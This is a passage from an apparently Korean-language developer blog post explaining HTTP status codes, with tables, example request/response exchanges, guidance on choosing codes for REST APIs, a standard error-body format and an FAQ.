&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;103&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Early Hints&lt;/td&gt;
&lt;td&gt;브라우저가 리소스를 미리 로드할 수 있도록 힌트 제공&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;실무에서 만나는 경우&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# WebSocket 연결 시 101 응답
GET /chat HTTP/1.1
Upgrade: websocket
Connection: Upgrade

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;2xx — 성공&lt;/h2&gt;
&lt;p&gt;가장 많이 보고 싶은 응답 코드입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;코드&lt;/th&gt;
&lt;th&gt;이름&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;사용 시점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;200&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;OK&lt;/td&gt;
&lt;td&gt;요청 성공&lt;/td&gt;
&lt;td&gt;GET 조회, PUT 수정 후 결과 반환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;201&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;td&gt;리소스 생성 완료&lt;/td&gt;
&lt;td&gt;POST로 새 데이터 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;202&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Accepted&lt;/td&gt;
&lt;td&gt;요청 접수됨 (아직 처리 중)&lt;/td&gt;
&lt;td&gt;비동기 작업 요청&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;204&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No Content&lt;/td&gt;
&lt;td&gt;성공했지만 응답 본문 없음&lt;/td&gt;
&lt;td&gt;DELETE 완료&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;실무 포인트&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# 200 — 조회 성공
GET /api/users/1
→ 200 OK
→ {&quot;id&quot;: 1, &quot;name&quot;: &quot;김철수&quot;, &quot;role&quot;: &quot;개발자&quot;}

# 201 — 생성 성공 (Location 헤더에 새 리소스 경로)
POST /api/users
→ 201 Created
→ Location: /api/users/42
→ {&quot;id&quot;: 42, &quot;name&quot;: &quot;이영희&quot;}

# 202 — 비동기 작업 접수 (이메일 발송, 대용량 처리 등)
POST /api/reports/generate
→ 202 Accepted
→ {&quot;jobId&quot;: &quot;abc123&quot;, &quot;status&quot;: &quot;processing&quot;}

# 204 — 삭제 성공 (본문 없이 응답)
DELETE /api/users/1
→ 204 No Content&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;흔한 실수:&lt;/strong&gt; 리소스를 생성(POST)하고 200을 반환하는 경우가 많습니다. &lt;strong&gt;201을 쓰는 게 표준&lt;/strong&gt;이고, 프론트엔드가 &quot;새로 만들어졌구나&quot;라고 인지할 수 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;3xx — 리다이렉션&lt;/h2&gt;
&lt;p&gt;URL이 바뀌었거나, 다른 곳으로 안내할 때 사용합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;코드&lt;/th&gt;
&lt;th&gt;이름&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;사용 시점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;301&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Moved Permanently&lt;/td&gt;
&lt;td&gt;영구 이동&lt;/td&gt;
&lt;td&gt;도메인 변경, URL 구조 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;302&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Found&lt;/td&gt;
&lt;td&gt;임시 이동&lt;/td&gt;
&lt;td&gt;로그인 후 원래 페이지로&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;304&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Not Modified&lt;/td&gt;
&lt;td&gt;변경 없음 (캐시 사용)&lt;/td&gt;
&lt;td&gt;브라우저 캐싱&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;307&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Temporary Redirect&lt;/td&gt;
&lt;td&gt;임시 이동 (메서드 유지)&lt;/td&gt;
&lt;td&gt;HTTPS 강제 리다이렉트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;308&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Permanent Redirect&lt;/td&gt;
&lt;td&gt;영구 이동 (메서드 유지)&lt;/td&gt;
&lt;td&gt;API URL 영구 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;301 vs 302 — 실무에서 가장 중요한 차이&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# 301 — 영구 이동: 검색 엔진이 새 URL을 인덱싱
# SEO에서 매우 중요. 잘못 쓰면 검색 순위가 사라질 수 있음
HTTP/1.1 301 Moved Permanently
Location: https://new-domain.com/page

# 302 — 임시 이동: 검색 엔진이 기존 URL 유지
# 점검 페이지, 로그인 후 리다이렉트 등
HTTP/1.1 302 Found
Location: /login?redirect=/dashboard&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;304 — 캐시의 핵심&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# 1차 요청
GET /api/data
→ 200 OK
→ ETag: &quot;abc123&quot;

# 2차 요청 (브라우저가 ETag를 보냄)
GET /api/data
If-None-Match: &quot;abc123&quot;
→ 304 Not Modified  ← 본문 없이 &quot;캐시 쓰세요&quot; 응답&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;301과 308의 차이:&lt;/strong&gt; 301은 리다이렉트 시 POST → GET으로 바뀔 수 있습니다. 308은 &lt;strong&gt;원래 메서드를 유지&lt;/strong&gt;합니다. API에서는 308이 더 안전합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;4xx — 클라이언트 에러&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&quot;당신이 잘못한 겁니다&quot;&lt;/strong&gt; — 요청 자체에 문제가 있을 때 사용합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;코드&lt;/th&gt;
&lt;th&gt;이름&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;사용 시점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;400&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Bad Request&lt;/td&gt;
&lt;td&gt;요청 형식 오류&lt;/td&gt;
&lt;td&gt;필수 파라미터 누락, JSON 파싱 실패&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;401&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthorized&lt;/td&gt;
&lt;td&gt;인증 필요&lt;/td&gt;
&lt;td&gt;로그인 안 됨, 토큰 만료&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;403&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Forbidden&lt;/td&gt;
&lt;td&gt;권한 없음&lt;/td&gt;
&lt;td&gt;로그인은 됐지만 접근 권한 부족&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;404&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Not Found&lt;/td&gt;
&lt;td&gt;리소스 없음&lt;/td&gt;
&lt;td&gt;존재하지 않는 URL/ID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;405&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Method Not Allowed&lt;/td&gt;
&lt;td&gt;메서드 불허&lt;/td&gt;
&lt;td&gt;GET만 허용되는 URL에 POST&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;408&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Request Timeout&lt;/td&gt;
&lt;td&gt;요청 시간 초과&lt;/td&gt;
&lt;td&gt;클라이언트 응답이 너무 늦음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;409&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Conflict&lt;/td&gt;
&lt;td&gt;충돌&lt;/td&gt;
&lt;td&gt;중복 데이터, 동시 수정 충돌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;413&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Payload Too Large&lt;/td&gt;
&lt;td&gt;요청 본문 초과&lt;/td&gt;
&lt;td&gt;파일 업로드 크기 제한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;415&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unsupported Media Type&lt;/td&gt;
&lt;td&gt;미지원 타입&lt;/td&gt;
&lt;td&gt;JSON 기대했는데 XML이 옴&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;422&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unprocessable Entity&lt;/td&gt;
&lt;td&gt;처리 불가&lt;/td&gt;
&lt;td&gt;형식은 맞지만 비즈니스 로직 위반&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;429&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Too Many Requests&lt;/td&gt;
&lt;td&gt;요청 과다&lt;/td&gt;
&lt;td&gt;Rate Limit 초과&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;401 vs 403 — 가장 많이 혼동하는 코드&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# 401 — &quot;누구세요?&quot; (인증 실패)
# 로그인하지 않았거나 토큰이 만료됨
GET /api/profile
→ 401 Unauthorized
→ {&quot;error&quot;: &quot;토큰이 만료되었습니다. 다시 로그인해주세요.&quot;}

# 403 — &quot;당신은 안 됩니다&quot; (인가 실패)
# 로그인은 했지만 해당 리소스에 접근 권한이 없음
GET /api/admin/settings
→ 403 Forbidden
→ {&quot;error&quot;: &quot;관리자 권한이 필요합니다.&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;401 Unauthorized&lt;/th&gt;
&lt;th&gt;403 Forbidden&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;인증(Authentication)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;실패&lt;/td&gt;
&lt;td&gt;성공&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;인가(Authorization)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;확인 불가&lt;/td&gt;
&lt;td&gt;실패&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;해결법&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;로그인/토큰 갱신&lt;/td&gt;
&lt;td&gt;권한 요청&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;400 vs 422 — 미묘한 차이&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# 400 — 요청 자체가 깨짐 (파싱 불가)
POST /api/users
Content-Type: application/json
Body: {invalid json...
→ 400 Bad Request
→ {&quot;error&quot;: &quot;JSON 파싱에 실패했습니다.&quot;}

# 422 — 형식은 맞지만 내용이 유효하지 않음
POST /api/users
Body: {&quot;email&quot;: &quot;not-an-email&quot;, &quot;age&quot;: -5}
→ 422 Unprocessable Entity
→ {&quot;errors&quot;: [
    {&quot;field&quot;: &quot;email&quot;, &quot;message&quot;: &quot;올바른 이메일 형식이 아닙니다&quot;},
    {&quot;field&quot;: &quot;age&quot;, &quot;message&quot;: &quot;0 이상이어야 합니다&quot;}
  ]}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;429 — Rate Limiting&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# API 호출 제한 초과
GET /api/search?q=test
→ 429 Too Many Requests
→ Retry-After: 30        ← 30초 후 재시도
→ X-RateLimit-Limit: 100
→ X-RateLimit-Remaining: 0
→ {&quot;error&quot;: &quot;요청 제한을 초과했습니다. 30초 후 다시 시도해주세요.&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;5xx — 서버 에러&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&quot;우리가 잘못한 겁니다&quot;&lt;/strong&gt; — 서버 측 문제로 요청을 처리하지 못할 때 사용합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;코드&lt;/th&gt;
&lt;th&gt;이름&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;사용 시점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;500&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Internal Server Error&lt;/td&gt;
&lt;td&gt;서버 내부 오류&lt;/td&gt;
&lt;td&gt;예기치 않은 예외, 버그&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;502&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Bad Gateway&lt;/td&gt;
&lt;td&gt;게이트웨이 오류&lt;/td&gt;
&lt;td&gt;업스트림 서버 연결 실패&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;503&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Service Unavailable&lt;/td&gt;
&lt;td&gt;서비스 불가&lt;/td&gt;
&lt;td&gt;서버 점검, 과부하&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;504&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Gateway Timeout&lt;/td&gt;
&lt;td&gt;게이트웨이 시간 초과&lt;/td&gt;
&lt;td&gt;업스트림 서버 응답 지연&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;502 vs 503 vs 504 — 어디서 문제인지 파악하기&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;클라이언트 → [Nginx/ALB] → [애플리케이션 서버] → [DB]
                 │
                 ├── 502: 앱 서버가 죽었거나 잘못된 응답 반환
                 ├── 503: 앱 서버가 점검 중이거나 과부하
                 └── 504: 앱 서버가 응답을 너무 늦게 줌&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# 502 — 앱 서버 프로세스가 죽은 경우
→ 502 Bad Gateway
→ Nginx 로그: &quot;upstream prematurely closed connection&quot;

# 503 — 점검 모드 (Retry-After 헤더 포함)
→ 503 Service Unavailable
→ Retry-After: 3600
→ {&quot;error&quot;: &quot;서버 점검 중입니다. 1시간 후 다시 시도해주세요.&quot;}

# 504 — DB 쿼리가 30초 넘게 걸린 경우
→ 504 Gateway Timeout
→ Nginx 로그: &quot;upstream timed out (110: Connection timed out)&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;중요:&lt;/strong&gt; 500 에러에 내부 스택 트레이스를 노출하지 마세요. 보안 취약점이 됩니다. 로그에는 상세 정보를 남기되, 응답에는 일반적인 메시지만 반환하세요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;REST API 설계 시 상태 코드 선택 가이드&lt;/h2&gt;
&lt;p&gt;어떤 상황에 어떤 코드를 써야 하는지 빠르게 참고할 수 있는 가이드입니다.&lt;/p&gt;
&lt;h3&gt;CRUD별 권장 코드&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;메서드&lt;/th&gt;
&lt;th&gt;성공&lt;/th&gt;
&lt;th&gt;실패 (클라이언트)&lt;/th&gt;
&lt;th&gt;실패 (서버)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GET&lt;/strong&gt; (조회)&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;404 (없음), 400 (파라미터 오류)&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;POST&lt;/strong&gt; (생성)&lt;/td&gt;
&lt;td&gt;201&lt;/td&gt;
&lt;td&gt;400 (형식 오류), 409 (중복), 422 (유효성)&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PUT&lt;/strong&gt; (전체 수정)&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;404 (없음), 400, 422&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PATCH&lt;/strong&gt; (부분 수정)&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;404, 400, 422&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DELETE&lt;/strong&gt; (삭제)&lt;/td&gt;
&lt;td&gt;204&lt;/td&gt;
&lt;td&gt;404 (없음)&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;인증·인가 흐름&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;요청 →  토큰 없음?         → 401 Unauthorized
    →  토큰 만료?          → 401 Unauthorized
    →  토큰 유효, 권한 없음? → 403 Forbidden
    →  토큰 유효, 권한 있음  → 200/201/204...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;에러 응답 본문 표준 형식&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;status&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;422&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Unprocessable Entity&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;입력 데이터가 유효하지 않습니다.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;details&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;field&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;email&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;올바른 이메일 형식이 아닙니다&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;field&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;age&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;0 이상이어야 합니다&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;timestamp&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2026-04-04T09:30:00Z&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/api/users&quot;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;실무에서 꼭 기억할 코드 TOP 10&lt;/h2&gt;
&lt;p&gt;모든 코드를 외울 필요는 없습니다. 이 10개만 정확히 사용해도 대부분의 상황을 커버합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;순위&lt;/th&gt;
&lt;th&gt;코드&lt;/th&gt;
&lt;th&gt;한 줄 요약&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;200&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;성공&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;201&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;생성 성공&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;204&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;성공, 본문 없음 (삭제)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;400&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;잘못된 요청&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;401&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;인증 필요 (로그인 안 됨)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;403&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;권한 없음 (로그인은 됨)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;404&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;찾을 수 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;409&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;충돌 (중복)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;422&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;유효성 검증 실패&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;500&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;서버 에러&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ — 자주 묻는 질문&lt;/h2&gt;
&lt;h3&gt;Q. 200과 204 중 어떤 걸 써야 하나요?&lt;/h3&gt;
&lt;p&gt;응답 본문이 있으면 &lt;strong&gt;200&lt;/strong&gt;, 없으면 &lt;strong&gt;204&lt;/strong&gt;입니다. DELETE 후 삭제된 데이터를 반환하고 싶으면 200, 그냥 &quot;삭제됨&quot;만 알리려면 204를 사용합니다. 팀 내 컨벤션을 정하고 일관되게 사용하는 게 가장 중요합니다.&lt;/p&gt;
&lt;h3&gt;Q. 에러 시 200 + 에러 메시지를 반환하면 안 되나요?&lt;/h3&gt;
&lt;p&gt;기술적으로는 가능하지만 &lt;strong&gt;안티패턴&lt;/strong&gt;입니다. HTTP 클라이언트, 프록시, 모니터링 도구는 모두 상태 코드를 기준으로 성공/실패를 판단합니다. 200으로 에러를 반환하면 모니터링에서 에러가 잡히지 않고, 프론트엔드도 매번 본문을 파싱해야 합니다.&lt;/p&gt;
&lt;h3&gt;Q. 404와 410의 차이는?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;404&lt;/strong&gt;는 &quot;없음 (있었는지도 모름)&quot;, &lt;strong&gt;410 Gone&lt;/strong&gt;은 &quot;있었는데 삭제됨 (다시 안 돌아옴)&quot;입니다. 검색 엔진에 &quot;이 URL은 영구 삭제됐으니 인덱스에서 빼라&quot;고 알리고 싶을 때 410을 사용합니다. 일반 API에서는 404면 충분합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;HTTP 상태 코드는 서버와 클라이언트가 대화하는 &lt;strong&gt;공통 언어&lt;/strong&gt;입니다. 적절한 코드를 사용하면 프론트엔드 개발자가 별도 문서 없이도 에러를 처리할 수 있고, 모니터링 도구가 자동으로 문제를 감지할 수 있습니다.&lt;/p&gt;
&lt;p&gt;처음에는 TOP 10만 정확히 사용하는 것부터 시작하세요. 그것만으로도 API 품질이 크게 올라갑니다.&lt;/p&gt;
